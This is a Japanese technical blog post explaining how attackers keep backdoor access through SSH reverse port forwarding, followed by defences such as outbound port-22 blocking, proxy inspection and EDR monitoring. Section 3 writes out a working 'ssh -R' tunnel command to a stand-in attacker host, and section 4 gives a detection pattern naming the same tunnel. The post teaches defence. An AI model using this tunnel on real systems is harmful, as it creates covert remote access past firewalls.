こんにちは!ネットワークの裏側やセキュリティの泥臭い現場を覗くのが大好きな、技術メディアの主筆ライターです。
インフラやネットワークの世界へ一歩を踏み出した皆さん、日々たくさんの専門用語と格闘していませんか?「ファイアウォールさえしっかり設定しておけば、外部からの侵入は完璧に防げる!」――そう安心しているそこのあなた。実は、ネットワークのセキュリティーを揺るがす「ちょっとズル賢い仕組み」が存在するのです。
それが今回取り上げる「SSHトンネリングとリバースポートフォワーディング(ポート22)」を使ったバックドア通信の維持です。
なんだか映画のハッカーが出てきそうな物騒な名前ですが、一歩ずつ構造をほどいていけば、決して難しくありません。今回は、身近な「郵便配達の仕組み」に例えながら、攻撃者がどのようにして強固な防御網をすり抜けてしまうのか、そしてそれをどう見つけ出し防ぐのかを一緒に紐解いていきましょう!
—
1. 堅牢な城壁(ファイアウォール)の落とし穴
企業や組織のネットワークを守るファイアウォールは、よく「城壁」に例えられます。外からの怪しい侵入者は門前払いでシャットアウトし、信頼できる通信だけを通す、非常に頼もしい存在です。
特に、インターネット側(外)から会社の中(内)へ向かって通信を始めること(インバウンド通信)は、厳しく制限されていますよね。例えば、「外から会社のパソコンへ勝手にリモートデスクトップ接続する」なんてことは、通常のファイアウォールが頑なに拒否してくれます。
では、なぜ内側から外側への通信は許されるのか?
私たちが普段、社内からウェブサイトを見たり、クラウドサービスを使ったりするためには、「内側から外へ」向かう通信が必要不可欠です。そのため、多くのネットワークでは「内側から外へ向かう通信(アウトバウンド通信)は、基本的に自由に通してあげよう」という設定になっています。
攻撃者は、まさにこの「内側から外への優しさ」を逆手にとるのです。
—
2. 郵便配達員に例える「リバースポートフォワーディング」
ここで、今回の主役である「リバースポートフォワーディング」を、身近な「郵便配達」に例えてみましょう。
- 通常のSSH(ポートフォワーディング):
あなたが自宅から、遠く離れた実家(外のサーバー)へ手紙を出し、その返事を受け取るような普通の通信です。
- リバースポートフォワーディング(逆方向の転送):
会社の中にいるあなたが、なぜか「外にある郵便局(攻撃者のサーバー)の私書箱」の鍵をこっそり持っている状態を想像してください。
会社の中にあるパソコン(マルウェアに感染してしまった端末)が、自ら進んで外の攻撃者サーバーへ向かって「ねえ、外の窓口を開けておくから、いつでもそっちから中に入ってきていいよ!」と電話をかけます。これがSSHの接続です。
通常、外から中への通信はファイアウォールにブロックされますが、「内側から外へ向かって作られた道路(トンネル)」がすでに一本通っているため、攻撃者はその道路を逆向き(リバース)に伝って、いとも簡単に会社の内部へと入り込んでしまうのです。
これが、インバウンドのファイアウォールを完全に無効化してしまうバックドアのカラクリになります。
—
3. 実践!攻撃者が使うちっとも怖くて賢いコマンド
百聞は一見にしかず。攻撃者がどのようにしてこのトンネルを構築しているのか、その仕組みをエンジニアの視点から覗いてみましょう(※もちろん、悪用厳禁のセキュリティ学習目的です!)。
もし社内の端末が乗っ取られた場合、攻撃者は以下のようなコマンドをバックグラウンドで実行し、外部の自社サーバー(attacker.example.com)へ常時接続のトンネルを維持しようとします。
# 社内端末から外部の攻撃者サーバーへ逆方向のSSHトンネルを構築する例
# -R オプションが「リバース(逆向き)」の魔法をかけます
ssh -N -T -R 2222:localhost:22 -i id_rsa attacker@attacker.example.com
それぞれのオプションが何をしているのか、優しく噛み砕いて見ていきましょう!
ssh: お馴染みの安全なリモート接続コマンドですね。-R 2222:localhost:22: ここが一番の肝です。「攻撃者サーバー側のポート2222へのアクセスを、社内端末のlocalhost:22(つまり社内端末自身)に転送してね」という指示になります。-N: 「リモートでコマンドを実行せず、ただトンネルを維持するだけにしてね」という意味です。画面に何も出さないようにします。-T: 端末(疑似TTY)の割り当てを行いません。バックグラウンドで静かに動かすための定石です。-i id_rsa: 認証用の秘密鍵を指定し、パスワード入力なしで自動的に接続を確立させます。
このコマンドが実行された瞬間、外の攻撃者からは、攻撃者自身のサーバーのポート 2222 を叩くだけで、会社の網の目をかいくぐった「社内端末へのダイレクトな裏口」が完成してしまうのです。
—
4. ネットワークスペシャリストはどう見つけ、どう防ぐのか?
「じゃあ、外への通信が自由なら、こんなバックドアは防ぎようがないじゃないか!」と絶望するのはまだ早いです。私たちインフラエンジニアには、対抗するための強力な武器があります。
① 外向きのポート22(SSH)を監視・制限する
まず基本中の基本ですが、業務上SSHの外部接続が必要な管理者以外の端末から、インターネット側へ向かうポート22番(SSH)の通信をバッサリとブロックしてしまうことです。一般の社員が使うPCが、勝手に外のサーバーとSSHで繋がれること自体が、セキュリティインシデントの大きな兆候です。
② プロキシサーバーや次世代ファイアウォール(NGFW)での可視化
すべての外向き通信を、一度プロキシサーバーやSSL/TLS復号機能を持った次世代ファイアウォールを通すように強制します。「ただのウェブ閲覧(HTTPS)に見せかけて、中身がSSHの暗号化パケットになっていないか」をパケットの挙動や振る舞い(アナリティクス)で検知するわけです。
③ エンドポイントでのプロセス監視(EDRの導入)
ネットワークの境界防御だけでなく、端末そのもの(エンドポイント)を守るEDR(Endpoint Detection and Response)製品を導入しましょう。
もし社内端末で以下のような怪しいプロセスが動いていたら、即座にアラートを上げて隔離します。
# 【概念コード】EDRが検知するような、怪しいSSHプロセスの挙動パターン例
suspicious_process_pattern = {
"process_name": "ssh",
"arguments": ["-R", "*:2222:localhost:22", "attacker@evil.com"],
"action": "immediate_quarantine" # 即座にネットワークから切り離す
}
このように、怪しい引数(-R や外部の不審な宛先IP)つきで ssh コマンドがバックグラウンド実行されていないかを監視するのが、現代のセキュリティ運用の現場のスタンダードです。
—
まとめ
今回は、SSHトンネリングとリバースポートフォワーディングを用いたバックドア通信の仕組みについて、郵便配達の例えを交えながら解説しました。
1. 外への通信の「優しさ」を突く: ファイアウォールは外からの侵入は防ぐが、内から外への接続は通しやすい。
2. リバースフォワーディングの正体: 内側から外へ道路を繋ぎ、その逆向きの車線をフル活用して裏口を作る。
3. 多層防御での対策: 外向きポートの制限、プロキシによる通信の中身のチェック、そしてEDRによる端末の監視が不可欠。
セキュリティの基本は、「誰も信用しない(ゼロトラスト)」という考え方にシフトしています。「内側だから安全」「外へ繋がっているから大丈夫」という思い込みを捨て、パケットがどこへ向かい、どんな挙動をしているのかを想像できるようになると、インフラエンジニアとしてのスキルがグッとワンランク上がりますよ。
それでは、また次回の技術解説でお会いしましょう!安全なネットワークライフを!
コメント